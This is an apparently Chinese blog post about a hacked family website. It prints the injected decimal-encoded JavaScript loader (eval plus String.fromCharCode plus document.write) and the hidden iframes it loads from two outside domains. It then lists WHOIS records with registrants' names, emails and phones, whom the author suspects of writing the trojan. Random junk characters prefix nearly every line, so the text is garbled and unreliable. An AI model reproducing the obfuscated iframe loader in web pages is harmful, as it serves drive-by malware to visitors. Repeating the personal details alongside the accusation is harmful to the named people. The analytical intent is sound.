首发在我的博客里面，
aQzu[N " wB~*,Ny http://www.areway.cn/?p=175 G<S(P@ss ~BS Ip
. 123 6W+ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
4FWb5b!A= &<s[(w!%% <script>t=’60,105,102,114,97,109,101,
;{zgp 32,115,114,99,61,104,116,116,112,58,47,47,
h=fzX .dt 102,114,101,101,46,117,45,117,117,117,46,99,
z/B[quSio 110,47,101,114,114,111,114,46,104,116,109,
W!R}eLf@ 32,119,105,100,116,104,61,49,48,48,32,104,
DvBL #iC 101,105,103,104,116,61,48,62,60,47,105,102,
<|Pw*L$ 114,97,109,101,62′;
|Sne\N>% t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
-*Voui Z |8oD* , <script>t=’60,105,102,114,97,109,101,32,115,
WB: NV=&^ 114,99,61,104,116,116,112,58,47,47,102,114,
'_f]qNy 101,101,46,117,45,117,117,117,46,99,110,47,
8 f""@TTp 101,114,114,111,114,46,104,116,109,32,119,
JD Q7 105,100,116,104,61,49,48,48,32,104,101,105,
7_H J|QB 103,104,116,61,48,62,60,47,105,102,114,97,
Y5 BWg 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
gJkk0wok C document.write(t);</script>
W'>"E/Tx#O yJ\K\\] <html xmlns=”
*?'^R c http://www.w3.org/1999/xhtml V<ZohB?y “>
K,!"5W rX* <head>
W +F^(SC\ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
u9TiE Eof3 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
<"93 <title>首页 - 爱生活家庭网
\c"{V-#o\ %Km^_JM 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
oVG/[e|c' 转换字符串后的大概内容是（谁点击后果自付）：
/M}jF*5N <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
69z,_p$@: b6 @(UneVM 查询玉米u-uuu.cn的详细信息：
Zj(2$9IU Domain Name: u-uuu.cn
|;G9K`8 ROID: 20070901s10001s64972306-cn
jp~C''Sj Domain Status: ok
#s 4v0auK Registrant Organization: 王雷
/$q9
Kxb Registrant Name: 王雷
(}]ae* Administrative Email:
czlovexs@126.com :y>$N(.8f Sponsoring Registrar: 北京万网志成科技有限公司
z1-JoZ Name Server:ns.yovole.com
TqvgC k- Name Server:ns1.yovole.com
f1hjU~nJ Registration Date: 2007-09-01 17:54
zNZ"PYh<u Expiration Date: 2008-09-01 17:54
pj~Ao + 最后PING了一下地址 都没有什么….
+"u6+[E jkzC^aG 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
sPu@t&$
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
-<Wv7FNpD <script language=”javascript” src=”
p\"WX http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script TJ&Z/k3- >
]r|nz~Aa$ 这个玉米应该有可能是木马作者的：
$Ur-Q d foafau.info的详细信息：
Gkc.HFn( Access to INFO WHOIS information is provided to assist persons in
]TE,N$X determining the contents of a domain name registration record in the
D2060ze Afilias registry database. The data in this record is provided by
'@{'T LMCi Afilias Limited for informational purposes only, and Afilias does not
#>]o' KQx guarantee its accuracy. This service is intended only for query-based
c] u^0X?& access. You agree that you will use this data only for lawful purposes
"JH
/ ODm and that, under no circumstances will you use this data to: (a) allow,
o
0-3[W'x< enable, or otherwise support the transmission by e-mail, telephone, or
Cwb }$=p' facsimile of mass unsolicited, commercial advertising or solicitations
)kBN]>&R to entities other than the data recipient’s own existing customers; or
i^i^g5l! (b) enable high volume, automated, electronic processes that send
\-Oq/g{j queries or data to the systems of Registry Operator, a Registrar, or
Hn- k*Y/P Afilias except as reasonably necessary to register domain names or
m (CbMu modify existing registrations. All rights reserved. Afilias reserves
-W#-m'Lvu the right to modify these terms at any time. By submitting this query,
'Q^P#<< you agree to abide by this policy.
l2AAEB_C. Domain ID:D22418703-LRMS
e=8z,.Xk Domain Name:FOAFAU.INFO
xu]>T C1 Created On:20-Nov-2007 16:05:42 UTC
Po~ u-5 Last Updated On:20-Nov-2007 16:05:44 UTC
J Uf{;nt Expiration Date:20-Nov-2008 16:05:42 UTC
P B
W.nm Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
c`F~vr r)X Status:CLIENT DELETE PROHIBITED
2l 8TX #K Status:CLIENT RENEW PROHIBITED
3 ;N+5*- Status:CLIENT TRANSFER PROHIBITED
p ^E}%0# Status:CLIENT UPDATE PROHIBITED
Hq>"rrVhx Status:TRANSFER PROHIBITED
)\!-n]+A Registrant ID:GODA-040110615
JfrPK/Vn Registrant Name:liu hong
z v Dg1p Registrant Organization:
'ot,6@~x> Registrant Street1:beijing
OYj4G ?c Registrant Street2:
|%i|P)] Registrant Street3:
#S*@RKSE|7 Registrant City:beijing
NV[_XXTv7 Registrant State/Province:
l6AG! 8H Registrant Postal Code:100000
F+lsza Registrant Country:CN
.5t|FJ]`$ Registrant Phone:+86.860108888777
U#7moS' r Registrant Phone Ext.:
[i
] Registrant FAX:
2E*k@ Registrant FAX Ext.:
b{Qg$ZJeR Registrant Email:bbbshiji@163.com
.3tyNjsn \ Admin ID:GODA-240110615
_ 6"YWR Admin Name:liu hong
B!z-O*fLE1 Admin Organization:
;'|Mt)\ Admin Street1:beijing
bsn.HT"5 Admin Street2:
Q )H1\ Admin Street3:
j gk JF[t` Admin City:beijing
WX2w7O'R Admin State/Province:
w<4,;FFlZ/ Admin Postal Code:100000
OE"r=is Admin Country:CN
C4`u3S Admin Phone:+86.860108888777
=s\RK
Admin Phone Ext.:
{e3XmVA I Admin FAX:
uPp9
UW Admin FAX Ext.:
Z, ? T`[4B Admin Email:bbbshiji@163.com
4)IRm2G Billing ID:GODA-340110615
UP*\p79oO Billing Name:liu hong
gLH#UwfJ Billing Organization:
.2si[:_(p Billing Street1:beijing
m V U(b, Billing Street2:
hZudVBn Billing Street3:
4ZRE3^y\" Billing City:beijing
EZz` pE Billing State/Province:
Rzolue 8 Billing Postal Code:100000
<gdKuoY Billing Country:CN
E JbFo682 Billing Phone:+86.860108888777
JLZ[sWP=' Billing Phone Ext.:
q,W6wM;,E Billing FAX:
L &i _ Billing FAX Ext.:
@t;WdbxB% Billing Email:bbbshiji@163.com
cITF=Ez Tech ID:GODA-140110615
0UHX Li47Y Tech Name:liu hong
@aA1=9-L Tech Organization:
o ` !7 ~n Tech Street1:beijing
0 %m}tfQ5 Tech Street2:
z_jTR[d Y Tech Street3:
\mB H6GS Tech City:beijing
0Q]p#; Tech State/Province:
N1O& fMz Tech Postal Code:100000
`wyX)6A|bt Tech Country:CN
0B4&!J Tech Phone:+86.860108888777
)ZU=`!4 Tech Phone Ext.:
.q>4? + Tech FAX:
mNvK|bTUT Tech FAX Ext.:
OfR\8hAY Tech Email:bbbshiji@163.com
d^&F%)AT Name Server:NS27.DOMAINCONTROL.COM
Ul<'@A8 Name Server:NS28.DOMAINCONTROL.COM
UacGq, Name Server:
L?@ TF; Name Server:
Dm3/i |Y Name Server:
4zF|}ai Q Name Server:
#&@qmps(T Name Server:
.?TPoqs7Z Name Server:
-*?Y4}mK Name Server:
~N i#xa Name Server:
tGKIJ`w*h Name Server:
m-SP #? 3 Name Server:
n&. bs7N2 Name Server:
,sAN,?eG~ !
Z e 接着下载每个文件里面的代码：
fs]9H K/@\ 一步一步看..
dh7PpuN{ 
6zQ {Y"0 
>! j= {hK 
]~,V(K 
"EoC7
1 
mG Qgy[gX 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
